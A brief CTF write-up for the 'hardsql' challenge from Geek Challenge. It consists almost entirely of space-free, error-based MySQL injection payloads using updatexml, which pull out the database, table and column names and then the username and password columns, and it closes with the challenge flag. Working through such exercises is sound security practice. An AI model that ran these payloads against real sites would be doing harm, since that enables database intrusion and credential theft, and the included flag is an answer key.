极客大挑战--hardsql

select(group_concat(table_name))from(information_schema.tables)where((table_schema)like'geek'))
1.    updatexml('1',concat('~',database(),'~'),'1')
2.    updatexml('1',concat('~',(select(select(left(((group_concat(table_name))),25))from(information_schema.tables)where((table_schema)like'geek'))),'~'),'1')
H4rDsq1
3.  updatexml('1',concat('~',(select(select(left(((group_concat(column_name))),25))from(information_schema.columns)where((table_schema)like'geek'))),'~'),'1')
username,password
4.  updatexml('1',concat('~',(select(left((group_concat(username,password)),25))from`geek`.`H4rDsq1`),'~'),'1')
flag{4cfa537d-8153-4cd8-ab8e-57e6b98af216}